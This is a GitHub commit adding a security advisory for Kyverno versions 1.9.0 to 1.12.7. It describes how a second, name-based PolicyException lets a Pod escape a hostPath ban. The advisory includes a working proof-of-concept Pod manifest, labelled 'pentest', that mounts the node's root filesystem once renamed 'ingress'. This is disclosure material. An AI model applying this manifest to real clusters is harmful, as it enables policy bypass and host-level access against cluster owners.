Skip to content

Commit d698c3e

Browse files
1 parent 28e8c6e commit d698c3e

1 file changed

Lines changed: 58 additions & 0 deletions

File tree

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gg4x-fgg2-h9w9",
4+
"modified": "2026-01-06T18:00:16Z",
5+
"published": "2026-01-06T18:00:16Z",
6+
"aliases": [],
7+
"summary": "Bypassing Kyverno Policies via Double Policy Exceptions",
8+
"details": "### Summary\nIf a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.\n\n### Details\n\nThe following policy was applied:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: disallow-host-path\n annotations:\n policies.kyverno.io/title: Disallow hostPath\n policies.kyverno.io/category: Pod Security Standards (Baseline)\n policies.kyverno.io/severity: medium\n policies.kyverno.io/subject: Pod,Volume\n kyverno.io/kyverno-version: 1.6.0\n kyverno.io/kubernetes-version: \"1.22-1.23\"\n policies.kyverno.io/description: >-\n HostPath volumes let Pods use host directories and volumes in containers.\n Using host resources can be used to access shared data or escalate privileges\n and should not be allowed. This policy ensures no hostPath volumes are in use.\nspec:\n validationFailureAction: Enforce\n background: true\n rules:\n - name: host-path\n match:\n any:\n - resources:\n kinds:\n - Pod\n validate:\n message: >-\n HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n pattern:\n spec:\n =(volumes):\n - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n name: disallow-host-path-exception\n namespace: kyverno\nspec:\n exceptions:\n - policyName: disallow-host-path\n ruleNames:\n - host-path\n match:\n any:\n - resources:\n kinds:\n - DaemonSet\n - Deployment\n - Job\n - StatefulSet\n - ReplicaSet\n - ReplicationController\n - Pod\n - CronJob\n namespaces:\n - luntry\n - tstkyverno\n - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n name: disallow-host-path-exception-names\n namespace: kyverno\nspec:\n exceptions:\n - policyName: disallow-host-path\n ruleNames:\n - host-path\n match:\n any:\n - resources:\n kinds:\n - DaemonSet\n - Deployment\n - Job\n - StatefulSet\n - ReplicaSet\n - ReplicationController\n - Pod\n - CronJob\n names:\n - '*haproxy*'\n - '*ingress*'\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: mtkpi\n labels:\n app: pentest\nspec:\n containers:\n - name: mtkpi\n image: ubuntu\n volumeMounts:\n - mountPath: /host\n name: noderoot\n command: [ \"/bin/sh\", \"-c\", \"--\" ]\n args: [ \"while true; do sleep 30; done;\" ] \n volumes:\n - name: noderoot\n hostPath:\n path: /\n```\n<img width=\"855\" height=\"483\" alt=\"Снимок экрана 2025-09-04 в 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" />\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: ingress\n labels:\n app: pentest\nspec:\n containers:\n - name: mtkpi\n image: ubuntu\n volumeMounts:\n - mountPath: /host\n name: noderoot\n command: [ \"/bin/sh\", \"-c\", \"--\" ]\n args: [ \"while true; do sleep 30; done;\" ] \n volumes:\n - name: noderoot\n hostPath:\n path: /\n```\n\n<img width=\"449\" height=\"386\" alt=\"Снимок экрана 2025-09-04 в 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" />\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/kyverno/kyverno"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "1.9.0"
27+
},
28+
{
29+
"fixed": "1.13.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.12.7"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/kyverno/kyverno"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-284"
52+
],
53+
"severity": "CRITICAL",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-01-06T18:00:16Z",
56+
"nvd_published_at": null
57+
}
58+
}

0 commit comments

Comments
 (0)